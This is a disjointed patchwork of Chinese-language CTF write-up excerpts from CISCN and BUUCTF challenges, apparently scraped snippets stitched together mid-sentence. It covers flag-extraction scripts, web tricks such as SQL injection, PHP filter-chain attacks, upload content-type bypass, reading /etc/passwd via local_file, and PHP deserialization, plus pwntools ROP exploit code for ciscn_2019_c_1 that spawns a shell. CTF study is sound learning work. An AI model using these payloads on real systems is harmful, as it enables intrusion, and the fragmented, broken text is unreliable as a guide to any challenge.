flag.putpixel((x, y), (0, 0, 0)) else: break flag.save("flag.png") 字符串求md5得到flag CISCN out.save("%d.png"%(f)) out.save("flag.png") 通过画出来的382张图,按照图片生成顺序,可以依次找到36个字符,构成uuid的格式,小写即为flag CISCN {12504d0f-9de1-4b00-87a5-a5fdd0986a00} tiny traffic 导出http流有flag_wrapper,改后缀为gz能解压出来CISCN{} 还有两个br文件, 15100450) : 0xe66a22 part2 e2345 part3 7889b0 part4 hex(16453958) : 0xfb1146 part5 d172a38dc 拼成完整flag CISCN img.write(unhexlify(f.read())) 得到的图片宽度不对,在最开始的消息中提到了w465,想到修改宽度为465,得到最后的图片 flag前八位为电话号前八位:15030442 CISCN
该题目附件我已经上传到Github,有需要的可以下载,复现这题时,我是使用的NSSCTF提供的远程环境。
随便输入得到hint,关注公众号,得到他的提示,输入 print(open(‘/flag’).read())得到flag
该题目附件我已经上传到Github,有需要的可以下载,复现这题时,我是使用的NSSCTF提供的远程环境。
Ciscn初赛——LovePHP题目wp PHP特性题目 引发服务器500错误,观察PHP过滤器的行为,创建过滤器链进行攻击 import requests import sys from
不出意外,这应该是最后一次打国赛了,总共22道题,解出15道题,Web一共5道题,最后做出4道题,实验室的两支队伍,最终西南赛区第6和第10,全国第35和53,成功晋级分区赛。
看题目给的附件,东西很少,发现bootstrap.yml这个配置文件是调用nacos配置中心的
一道收获蛮大的 PWN 题,拖了好久才 PWN 出来,关于 tcache 更加的了解了。文中有部分心理活动,大家乐呵乐呵吧,啊哈哈哈哈 Orz
签到题,开始没看到豪密剖析,对照密码表一个一个找的,额。将7个电码和密码本前28个数字每四个一组进行模十加法,看示例是加猜测全部是加运算,得到电码答案后send即可。
上传页面限制了只能上传图片,这里可以通过修改content-type进行绕过,但是文件后缀还是会被改成图片后缀。
题目地址:buuctf 打开题目 结合提示,是个sql注入类型的题目,尝试注入测试 输入单个字母的话提示bool(false),输入1提示Hello, glzjin wants a girlfrien
进入题目页面只有个Welcome To Find Secret,最后发现了/secret目录。
看着url不像是PHP,因为我好像极少见过PHP用这种路由,直接冒一波险猜他是flask。使用local_file:///etc/passwd读取。
可以看到File的close()方法会去调用file_get_contents,可能存在文件读取。User类中存在close方法,并且该方法在对象销毁时执行。同时FileList类中存在call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。
0x01 完整exp from pwn import * #p = process("ciscn_2019_c_1") p = remote("node3.buuoj.cn",28487) elf = ELF("ciscn_2019_c_1") #libc = ELF("libc.so.6") libc = ELF("libc2.27.so") context.log_level = "debug
题目首页是一个登录页面,尝试注入失败。抓包过程中发现了image和user两个PHP文件,image可以传id参数,但只有id为1、2和3时能显示图片,其他情况为空页面。
感谢buuoj的大佬们搭建的复现环境。作为一位CTF的初学者,我会把每个题目的writeup都写的尽量详细,希望能帮到后面的初学者。
id为1,2时,可以分别得到一句话。id为0时,显示error,可能是因为结果为空集。
看起来没有什么特别的,就是一个可以提交信息的页面。查看响应报文也没有什么提示,但是在网页注释里有东西。
/ciscn_2019_c_1可以查看文件拥有的gadget。 /ciscn_2019_c_1 --only "pop|ret" ROPgadget --binary . /ciscn_2019_c_1 --only "ret" 构造泄露信息的payload: 当esp指向pop rdi;ret时,rip指向puts_got。 payload: payload2 = 'A'*(88) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(sys_addr) 例题实战 ciscn /ciscn_2019_c_1') # Ubuntu18 栈对齐 ret = 0x4006b9 # 获取puts函数在plt与got表中的地址 puts_plt = elf.plt['puts']